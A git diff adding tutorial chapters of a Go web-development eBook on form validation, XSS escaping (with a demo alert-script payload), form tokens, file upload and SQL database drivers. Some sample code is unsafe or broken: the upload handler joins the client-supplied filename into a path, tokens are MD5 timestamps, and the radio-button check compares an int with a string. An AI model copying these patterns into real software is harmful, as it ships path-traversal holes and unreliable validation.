fmt.Println(v["friend"]) + +**Tips** Request has ability to access form data by method `FormValue()`. For example, you can change `r.Form["username"]` to `r.FormValue("username")`, and it calls `r.ParseForm` automatically. Notice that it returns the first value if there are arguments with same name, and it returns empty string if there is no such argument. + +## Links + +- [Directory](preface.md) +- Previous section: [User form](04.0.md) +- Next section: [Verification of inputs](04.2.md) diff --git a/en/eBook/04.2.md b/en/eBook/04.2.md new file mode 100644 index 00000000..21a2c157 --- /dev/null +++ b/en/eBook/04.2.md @@ -0,0 +1,141 @@ +# 4.2 Verification of inputs + +The most important principle in web development is that you cannot trust anything from user form, you have to verify all data before use them. You may know many websites are invaded by this problem which is simple but crucial. + +There are two ways to verify form data that commonly used, the one is JavaScript verification in front-end, and another one is server verification in back-end. In this section, we are going to talk about the server verification in web development. + +## Required fields + +Sometimes you ask users to input some fields but they don't, for example we need user name in previous section. You can use function `len` to get length of field to make sure users input this information. + + if len(r.Form["username"][0])==0{ + // code for empty field + } + +`r.Form` uses different treatments of different types of form elements when they are blanks. For empty text box, text area and file upload, it returns empty string; for radio button and check box, it doesn't even create corresponding items, and you will get errors if you try to access it. Therefore, we'd better use `r.Form.Get()` to get filed values because it always returns empty if the value does not exist. On the other hand, `r.Form.Get()` can only get one field value every time, so you need to use `r.Form` to get values in map. + +## Numbers + +Sometimes you only need numbers for the field value. For example, you need age of users, like 50 or 10, instead of "old enough" or "young man". If we need positive numbers, we can convert to `int` type first and process them. + + getint,err:=strconv.Atoi(r.Form.Get("age")) + if err!=nil{ + // error occurs when convert to number, it may not a number + } + + // check range of number + if getint >100 { + // too big + } + +Another way to do this is using regular expression. + + if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false + } + +For high performance purpose, regular expression is not an efficient way, but simple regular expression is fast enough. If you know regular expression before, you should it's a very convenient way to verify data. Notice that Go uses [RE2](http://code.google.com/p/re2/wiki/Syntax), all UTF-8 characters are supported. + +## Chinese + +Sometimes we need users to input their Chinese name, we have to verify they use all Chinese rather than random characters. For Chinese verification, regular expression is the only way. + + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m { + return false + } + +## English letters + +Sometimes we need users to input English letters. For example, we need someone's English name, like astaxie instead of asta谢. We can easily use regular expression to do verification. + + if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false + } + +## E-mail address + +If you want to know if users input valid E-mail address, you can use following regular expression: + + if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") + }else{ + fmt.Println("yes") + } + +## Drop down list + +When we need item in our drop down list, but we get some values that are made by hackers, how can we prevent it? + +Suppose we have following ` + + + + + +Then, we use following way to verify: + + slice:=[]string{"apple","pear","banane"} + + for _, v := range slice { + if v == r.Form.Get("fruit") { + return true + } + } + return false + +All functions I showed above are in my open source project for operating slice and map: [https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## Radio buttons + +If we want to know the user is male or female, we may use a radio button, return 1 for male and 2 for female. However, there is a little boy is reading book about HTTP, and send to you 3, will your program have exception? So we need to use same way for drop down list to make sure all values are expected. + + Male + Female + +And we use following code to do verification: + + slice:=[]int{1,2} + + for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } + } + return false + +## Check boxes + +Suppose there are some check boxes for users' interests, and you don't want extra values as well. + + Football + Basketball + Tennis + +Here is a little bit different in verification between radio buttons and check boxes because we get a slice from check boxes. + + slice:=[]string{"football","basketball","tennis"} + a:=Slice_diff(r.Form["interest"],slice) + if a == nil{ + return true + } + + return false + +## Date and time + +Suppose you want to make users input valid date or time. Go has package `time` to convert year, month, day to corresponding time, then it's easy to check it. + + t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) + fmt.Printf("Go launched at %s\n", t.Local()) + +After you had time, you can use package `time` for more operations depend on your purposes. + +We talked about some common form data verification in server side, I hope you understand more about data verification in Go, especially how to use regular expression. + +## Links + +- [Directory](preface.md) +- Previous section: [Process form inputs](04.1.md) +- Next section: [Cross site scripting](04.3.md) diff --git a/en/eBook/04.3.md b/en/eBook/04.3.md new file mode 100644 index 00000000..06bd363d --- /dev/null +++ b/en/eBook/04.3.md @@ -0,0 +1,68 @@ +# 4.3 Cross site scripting + +Today's websites have much more dynamic content in order to improve user experience, which means we can provide dynamic information depends on every individual's behavior. However, there is a thing called "Cross site scripting" (known as "XSS") always attacking dynamic websites, and static websites are completely fine at this time. + +Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successful injection, your user information will be stolen and your website will full of spam, also they can change user settings to whatever they want. + +If you want to prevent this kind of attack, you'd better combine two following approaches: + +- Verification all data from users, which we talked about previous section. +- Give special handling for data that will be responded to clients, in order to prevent any injected script runs on browsers. + +So how can we do these two jobs in Go? Fortunately, package `html/template` has some useful functions to escape data as follows: + +- `func HTMLEscape(w io.Writer, b []byte)` escapes b to w. +- `func HTMLEscapeString(s string) string` returns string after escaped from s. +- `func HTMLEscaper(args ...interface{}) string` returns string after escaped from multiple arguments. + +Let's change the example in section 4.1: + + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients + +If we try to input user name as ``, we will see following content in the browser: + +![](images/4.3.escape.png?raw=true) + +Figure 4.3 JavaScript after escaped + +Functions in package `html/template` help you escape all HTML tags, what if you just want to print `` to browsers? You should use `text/template` instead. + + import "text/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +Output: + + Hello, ! + +Or you can use type `template.HTML`: +Variable content will not be escaped if it's type is `template.HTML`. + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", template.HTML("")) + +Output: + + Hello, ! + +One more example of escape + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +Output: + + Hello, <script>alert('you have been pwned')</script>! + +## Links + +- [Directory](preface.md) +- Previous section: [Verification of inputs](04.2.md) +- Next section: [Duplicate submissions](04.4.md) diff --git a/en/eBook/04.4.md b/en/eBook/04.4.md new file mode 100644 index 00000000..c93c4691 --- /dev/null +++ b/en/eBook/04.4.md @@ -0,0 +1,57 @@ +# 4.4 Duplicate submissions + +I don't know if you have ever seen some blogs or BBS have more then one posts are exactly same, but I can tell you it's because users did duplicate submissions of post form at that time. There are batch of reasons can cause duplicate submissions, sometimes users just double click the submit button, or they want to modify some content after post and press back button, or it's by purpose of malicious users in some vote websites. It's easy to see how the duplicate submissions lead to many problems, so we have to use effective means to prevent it. + +The solution is that add a hidden field with unique token to your form, and check this token every time before processing data. Also, if you are using Ajax to submit form, use JavaScript to disable submit button once submitted. + +Let's improve example in section 4.2: + + Football + Basketball + Tennis + Username: + Password: + + + +We used MD5(time stamp) to generate token, and added to hidden field and session in server side(Chapter 6), then we can use this token to check if this form was submitted. + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) // get request method + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + // log in request + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + // check token validity + } else { + // give error if no token + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client + } + } + +![](images/4.4.token.png?raw=true) + +Figure 4.4 The content in browser after added token + +You can refresh this page and you will see different token every time, so this keeps every form is unique. + +For now you can prevent many of duplicate submissions attacks by adding token to your form, but it cannot prevent all the deceptive attacks, there is much more work should be done. + +## Links + +- [Directory](preface.md) +- Previous section: [Cross site scripting](04.3.md) +- Next section: [File upload](04.5.md) \ No newline at end of file diff --git a/en/eBook/04.5.md b/en/eBook/04.5.md new file mode 100644 index 00000000..d3f76688 --- /dev/null +++ b/en/eBook/04.5.md @@ -0,0 +1,154 @@ +# 4.5 File upload + +Suppose you have a website like Instagram, and you want users to upload their beautiful photos, how you are going to do? + +You have to add property `enctype` to the form that you want to use for uploading photos, and there are three possibilities for its value: + + application/x-www-form-urlencoded Trans-coding all characters before upload(default). + multipart/form-data No trans-coding, you have to use this value when your form have file upload controls. + text/plain Convert spaces to "+", but no trans-coding for special characters. + +Therefore, HTML content of a file upload form should look like this: + + + + Upload file + + +
+ + + +
+ + + +We need to add a function in server side to handle this affair. + + http.HandleFunc("/upload", upload) + + // upload logic + func upload(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("upload.gtpl") + t.Execute(w, token) + } else { + r.ParseMultipartForm(32 << 20) + file, handler, err := r.FormFile("uploadfile") + if err != nil { + fmt.Println(err) + return + } + defer file.Close() + fmt.Fprintf(w, "%v", handler.Header) + f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) + if err != nil { + fmt.Println(err) + return + } + defer f.Close() + io.Copy(f, file) + } + } + +As you can see, we need to call `r.ParseMultipartForm` for uploading files, the argument means the `maxMemory`. After you called `ParseMultipartForm`, file will be saved in your server memory with `maxMemory` size, if the file size is larger than `maxMemory`, rest of data will be saved in system temporary file. You can use `r.FormFile` to get file handle and use `io.Copy` to save to your file system. + +You don't need to call `r.ParseForm` when you access other non-file fields in the form because Go will call it when it's necessary. Also call `ParseMultipartForm` once is enough, and no differences for multiple calls. + +We use three steps for uploading files as follows: + +1. Add `enctype="multipart/form-data"` to your form. +2. Call `r.ParseMultipartForm` in server side to save file in memory or temporary file. +3. Call `r.FormFile` to get file handle and save to file system. + +The file handler is the `multipart.FileHeader`, it uses following struct: + + type FileHeader struct { + Filename string + Header textproto.MIMEHeader + // contains filtered or unexported fields + } + +![](images/4.5.upload2.png?raw=true) + +Figure 4.5 Print information in server after received file. + +## Clients upload files + +I showed the example of using form to upload file, and we can impersonate a client form to upload file in Go as well. + + package main + + import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" + ) + + func postFile(filename string, targetUrl string) error { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + + // this step is very important + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + if err != nil { + fmt.Println("error writing to buffer") + return err + } + + // open file handle + fh, err := os.Open(filename) + if err != nil { + fmt.Println("error opening file") + return err + } + + //iocopy + _, err = io.Copy(fileWriter, fh) + if err != nil { + return err + } + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + + resp, err := http.Post(targetUrl, contentType, bodyBuf) + if err != nil { + return err + } + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + if err != nil { + return err + } + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) + return nil + } + + // sample usage + func main() { + target_url := "http://localhost:9090/upload" + filename := "./astaxie.pdf" + postFile(filename, target_url) + } + +The above example shows you how to use client to upload file, it uses `multipart.Write` to write file in cache and sends to server through POST method. + +If you have other field need to write into data like user name, call `multipart.WriteField` as needed. + +## Links + +- [Directory](preface.md) +- Previous section: [Duplicate submissions](04.4.md) +- Next section: [Summary](04.6.md) \ No newline at end of file diff --git a/en/eBook/04.6.md b/en/eBook/04.6.md new file mode 100644 index 00000000..faa94fe4 --- /dev/null +++ b/en/eBook/04.6.md @@ -0,0 +1,11 @@ +# 4.6 Summary + +In this chapter, we mainly learned how to process form data in Go through examples about user log in and file upload. We also understand that verify user data is extremely important for website security, and we used one section to talk about how to filter data with regular expression. + +I hope you know more about communication between client and server side, which is client sends data to server, and server responds to client after processed data. + +## Links + +- [Directory](preface.md) +- Previous section: [File upload](04.5.md) +- Next chapter: [Database](05.0.md) diff --git a/en/eBook/05.0.md b/en/eBook/05.0.md new file mode 100644 index 00000000..948d8a28 --- /dev/null +++ b/en/eBook/05.0.md @@ -0,0 +1,13 @@ +# 5 Database + +For web developers, the database is the core of web development. You can save almost anything in database, query and update data, like user information, products or news list. + +Go doesn't have any driver for database, but it does have a driver interface defined in package `database/sql`, people can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, I'll show the ORM that I developed which is based on `database/sql` interface standard, it compatible with most of drivers that implemented `database/sql` interface, and easy to access database in Go code style. + +NoSQL is a hot topic in recent years, more websites decide to use NoSQL database as their main database instead of just for cache usage. I will introduce two NoSQL database which are MongoDB and Redis to you in section 5.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 4 Summary](04.6.md) +- Next section: [database/sql interface](05.1.md) \ No newline at end of file diff --git a/en/eBook/05.1.md b/en/eBook/05.1.md new file mode 100644 index 00000000..1f3decc6 --- /dev/null +++ b/en/eBook/05.1.md @@ -0,0 +1,204 @@ +# 5.1 database/sql interface + +Go doesn't provide any official database driver which PHP does, but it does have some database driver interface standards for developers develop database drivers. There is an advantage that if your code is developed according to these interface standards, you will not change any code when your database changes. Let's see what these database interface standards are. + +## sql.Register + +This function is in package `database/sql` for registering database drivers when you use third-party database drivers. In all those drivers, they should call function `Register(name string, driver driver.Driver)` in `init()` function in order to register their drivers. + +Let's take a look at corresponding code in drivers of mymysql and sqlite3: + + //https://github.com/mattn/go-sqlite3 driver + func init() { + sql.Register("sqlite3", &SQLiteDriver{}) + } + + //https://github.com/mikespook/mymysql driver + // Driver automatically registered in database/sql + var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} + func init() { + Register("SET NAMES utf8") + sql.Register("mymysql", &d) + } + +We see that all third-party database drivers implemented this function to register themselves, and Go uses a map to save user drivers inside of `databse/sql`. + + var drivers = make(map[string]driver.Driver) + + drivers[name] = driver + +Therefore, this register function can register drivers as many as you want with all different name. + +We always see following code when we use third-party drivers: + + import ( + "database/sql" + _ "github.com/mattn/go-sqlite3" + ) + +Here the blank `_` is quite confusing for many beginners, and this is a great design in Go. We know this identifier is for discarding values from function return, and you have to use all imported packages in your code in Go. So when the blank is used with import means you need to execute init() function of that package without directly using it, which is for registering database driver. + +## driver.Driver + +`Driver` is a interface that has a method `Open(name string)` that returns a interface of `Conn`. + + type Driver interface { + Open(name string) (Conn, error) + } + +This is a one-time Conn, which means it can be used only once in one goroutine. The following code will occur errors: + + ... + go goroutineA (Conn) // query + go goroutineB (Conn) // insert + ... + +Because Go has no idea about which goroutine does what operation, so the query operation may get result of insert, vice-versa. + +All third-party drivers should have this function to parse name of Conn and return results correctly. + +## driver.Conn + +This is a database connection interface with some methods, and as I said above, same Conn can only be used in one goroutine. + + type Conn interface { + Prepare(query string) (Stmt, error) + Close() error + Begin() (Tx, error) + } + +- `Prepare` returns prepare status of corresponding SQL commands for querying and deleting, etc. +- `Close` closes current connection and clean resources. Most of third-party drivers implemented some kinds of connection pool, so you don't need to cache connections unless you want to have unexpected errors. +- `Begin` returns a Tx that represents a affair handle, you can use it for querying, updating or affair roll back etc. + +## driver.Stmt + +This is a ready status and is corresponding with Conn, so it can only be used in one goroutine like Conn. + + type Stmt interface { + Close() error + NumInput() int + Exec(args []Value) (Result, error) + Query(args []Value) (Rows, error) + } + +- `Close` closes current connection, but it still returns rows data if it is doing query operation. +- `NumInput` returns the number of obligate arguments, database drivers should check caller's arguments when the result is greater than 0, and it returns -1 when database drivers don't know any obligate argument. +- `Exec` executes SQL commands of `update/insert` that are prepared in `Prepare`, returns `Result`. +- `Query` executes SQL commands of `select` that are prepared in `Prepare`, returns rows data. + +## driver.Tx + +Generally, affair handle only have submit or roll back, and database drivers only need to implement these two methods. + + type Tx interface { + Commit() error + Rollback() error + } + +## driver.Execer + +This is an optional interface. + + type Execer interface { + Exec(query string, args []Value) (Result, error) + } + +If the driver doesn't implement this interface, then when you call DB.Exec, it automatically calls Prepare and returns Stmt, then executes Exec of Stmt, then closes Stmt. + +## driver.Result + +This is the interface for result of `update/insert` operations. + + type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) + } + +- `LastInsertId` returns auto-increment Id number after insert operation from database. +- `RowsAffected` returns rows that affected after query operation. + +## driver.Rows + +This is the interface for result set of query operation. + + type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error + } + +- `Columns` returns fields information of database tables, the slice is one-to-one correspondence to SQL query field, not all fields in that database table. +- `Close` closes Rows iterator. +- `Next` returns next data and assigns to dest, all string should be converted to byte array, and gets io.EOF error if no more data available. + +## diriver.RowsAffected + +This is a alias of int64, but it implemented Result interface. + + type RowsAffected int64 + + func (RowsAffected) LastInsertId() (int64, error) + + func (v RowsAffected) RowsAffected() (int64, error) + +## driver.Value + +This is a empty interface that can contain any kind of data. + + type Value interface{} + +The Value must be somewhat that drivers can operate or nil, so it should be one of following types: + + int64 + float64 + bool + []byte + string [*] Except Rows.Next which cannot return string + time.Time + +## driver.ValueConverter + +This defines a interface for converting normal values to driver.Value. + + type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) + } + +This is commonly used in database drivers and has many good features: + +- Convert driver.Value to corresponding database field type, for example convert int64 to uint16. +- Convert database query results to driver.Value. +- Convert driver.Value to user defined value in `scan` function. + +## driver.Valuer + +This defines a interface for returning driver.Value. + + type Valuer interface { + Value() (Value, error) + } + +Many types implemented this interface for conversion between driver.Value and itself. + +At this point, you should have concepts about how to develop a database driver. Once you implement about interfaces for operations like add, delete, update, etc. There only left problems about communicating with specific database. + +## database/sql + +databse/sql defines more high-level methods above database/sql/driver for more convenient operations with databases, and it suggests you to implement a connection pool. + + type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool + } + +As you can see, Open function returns a DB that has a freeConn, and this is the simple connection pool. Its implementation is very simple or ugly, it uses `defer db.putConn(ci, err)` in function Db.prepare to put connection into connection pool. Every time you call Conn function, it checks length of freeCoon, if it's greater than 0 means there is a reusable connection and directly returns to you, otherwise it creates a new connection and returns. + +## Links + +- [Directory](preface.md) +- Previous section: [Database](05.0.md) +- Next section: [MySQL](05.2.md) diff --git a/en/eBook/05.2.md b/en/eBook/05.2.md new file mode 100644 index 00000000..1ca94d7c --- /dev/null +++ b/en/eBook/05.2.md @@ -0,0 +1,126 @@ +# 5.2 MySQL + +The framework call LAMP is very popular on the internet in recent years, and the M is the MySQL. MySQL is famous by its open source, easy to use, so it becomes the database in the back-end of many websites. + +## MySQL drivers + +There are couple of drivers that support MySQL in Go, some of them implemented `database/sql` interface, and some of them use their only interface standards. + +- [https://github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) supports `database/sql`, pure Go code. +- [https://github.com/ziutek/mymysql](https://github.com/ziutek/mymysql) supports `database/sql` and user defined interface, pure Go code. +- [https://github.com/Philio/GoMySQL](https://github.com/Philio/GoMySQL) only supports user defined interface, pure Go code. + +I'll use the first driver in my future examples(I use this one in my projects also), and I recommend you to use this one for following reasons: + +- It's a new database driver and supports more features. +- Fully support `databse/sql` interface standards. +- Support keepalive, long connection with thread-safe. + +## Samples + +In following sections, I'll use same database table structure for different databases, the create SQL as follows: + + CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) + ); + +The following example shows how to operate database based on `database/sql` interface standards. + + package main + + import ( + _ "github.com/go-sql-driver/mysql" + "database/sql" + "fmt" + ) + + func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +Let me explain few important functions: + +- `sql.Open()` opens a registered database driver, here the Go-MySQL-Driver registered mysql driver. The second argument is DSN(Data Source Name) that defines information of database connection, it supports following formats: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +- `db.Prepare()` returns SQL operation that is going to execute, also returns execute status after executed SQL. +- `db.Query()` executes SQL and returns Rows result. +- `stmt.Exec()` executes SQL that is prepared in Stmt. + +Note that we use format `=?` to pass arguments, it is for preventing SQL injection. + +## Links + +- [Directory](preface.md) +- Previous section: [database/sql interface](05.1.md) +- Next section: [SQLite](05.3.md) diff --git a/en/eBook/05.3.md b/en/eBook/05.3.md new file mode 100644 index 00000000..c47c5a5d --- /dev/null +++ b/en/eBook/05.3.md @@ -0,0 +1,110 @@ +# 5.3 SQLite + +SQLite is a open source, embedded relational database, it has a self-contained, zero-configuration and affair-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate database. If you are looking for a embedded database solution, SQLite is worth to consider. You can say SQLite is the open source version of Access. + +## SQLite drivers + +There are many database drivers for SQLite in Go, but many of them are not supporting `database/sql` interface standards. + +- [https://github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) supports `database/sql`, based on cgo. +- [https://github.com/feyeleanor/gosqlite3](https://github.com/feyeleanor/gosqlite3) doesn't support `database/sql`, based on cgo. +- [https://github.com/phf/go-sqlite3](https://github.com/phf/go-sqlite3) doesn't support `database/sql`, based on cgo. + +The first driver is the only one that supports `database/sql` interface standards in SQLite drivers, so I use this in my projects and it will be easy to migrate code in the future. + +## Samples + +The create SQL as follows: + + CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `departname` VARCHAR(64) NULL, + `created` DATE NULL + ); + +An example: + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/mattn/go-sqlite3" + ) + + func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + // insert + stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + // update + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + // query + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + // delete + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +You may notice that the code is almost same as previous section, and we only changed registered driver name, and call `sql.Open` to connect to SQLite in a different way. + +There is a SQLite management tool available: [http://sqliteadmin.orbmu2k.de/](http://sqliteadmin.orbmu2k.de/) + +## Links + +- [Directory](preface.md) +- Previous section: [MySQL](05.2.md) +- Next section: [PostgreSQL](05.4.md) diff --git a/en/eBook/05.4.md b/en/eBook/05.4.md new file mode 100644 index 00000000..6a2a820d --- /dev/null +++ b/en/eBook/05.4.md @@ -0,0 +1,123 @@ +# 5.4 PostgreSQL + +PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under the MIT-style license, and is thus free and open source software. It's larger than MySQL, because it's designed for enterprise usage like Oracle. So it's a good choice to use PostgreSQL in enterprise projects. + +## PostgreSQL drivers + +There are many database drivers for PostgreSQL, and three of them as follows: + +- [https://github.com/bmizerany/pq](https://github.com/bmizerany/pq) supports `database/sql`, pure Go code. +- [https://github.com/jbarham/gopgsqldriver](https://github.com/jbarham/gopgsqldriver) supports `database/sql`, pure Go code. +- [https://github.com/lxn/go-pgsql](https://github.com/lxn/go-pgsql) supports `database/sql`, pure Go code. + +I'll use the first one in my following examples. + +## Samples + +The create SQL as follows: + + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); + +An example: + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/bmizerany/pq" + "time" + ) + + const ( + DB_USER = "postgres" + DB_PASSWORD = "postgres" + DB_NAME = "test" + ) + + func main() { + dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable", + DB_USER, DB_PASSWORD, DB_NAME) + db, err := sql.Open("postgres", dbinfo) + checkErr(err) + defer db.Close() + + fmt.Println("# Inserting values") + + var lastInsertId int + err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + checkErr(err) + fmt.Println("last inserted id =", lastInsertId) + + fmt.Println("# Updating") + stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err := stmt.Exec("astaxieupdate", lastInsertId) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + + fmt.Println("# Querying") + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created time.Time + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println("uid | username | department | created ") + fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created) + } + + fmt.Println("# Deleting") + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(lastInsertId) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect, "rows changed") + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +Note that PostgreSQL uses format like `$1,$2` instead of `?` in MySQL, and it has different DSN format in `sql.Open`. +Another thing is that the Postgres does not support `sql.Result.LastInsertId()`. +So instead of this, + + stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);") + res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") + fmt.Println(res.LastInsertId()) + +Use `db.QueryRow()` and `.Scan()` to get the value for the last inserted id. + + err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;", VALUE1").Scan(&lastInsertId) + fmt.Println(lastInsertId) + +## Links + +- [Directory](preface.md) +- Previous section: [SQLite](05.3.md) +- Next section: [Develop ORM based on beedb](05.5.md) diff --git a/en/eBook/05.5.md b/en/eBook/05.5.md new file mode 100644 index 00000000..40e3f23e --- /dev/null +++ b/en/eBook/05.5.md @@ -0,0 +1,256 @@ +# 5.5 Develop ORM based on beedb + +( ***Project beedb is no longer maintained, but code still there*** ) + +beedb is a ORM, "Object/Relational Mapping", that developed in Go by me. +It uses Go style to operate database, implemented mapping struct to database records. It's a lightweight Go ORM framework, the purpose of developing this ORM is to help people learn how to write ORM, and finds a good balance between functions and performance. + +beedb is an open source project, and supports basic functions of ORM, but doesn't support associated query. + +Because beedb support `database/sql` interface standards, so any driver that supports this interface can be used in beedb, I've tested following drivers: + +Mysql: [github.com/ziutek/mymysql/godrv](github.com/ziutek/mymysql/godrv) + +Mysql: [code.google.com/p/go-mysql-driver](code.google.com/p/go-mysql-driver) + +PostgreSQL: [github.com/bmizerany/pq](github.com/bmizerany/pq) + +SQLite: [github.com/mattn/go-sqlite3](github.com/mattn/go-sqlite3) + +MS ADODB: [github.com/mattn/go-adodb](github.com/mattn/go-adodb) + +ODBC: [bitbucket.org/miquella/mgodbc](bitbucket.org/miquella/mgodbc) + +## Installation + +You can use `go get` to install beedb in your computer. + + go get github.com/astaxie/beedb + +## Initialization + +First, you have to import all corresponding packages as follows: + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + ) + +Then you need to open a database connection and create a beedb object(MySQL in this example): + + db, err := sql.Open("mymysql", "test/xiemengjun/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + +`beedb.New()` actually has two arguments, the first one is for standard requirement, and the second one is for indicating database engine, but if you are using 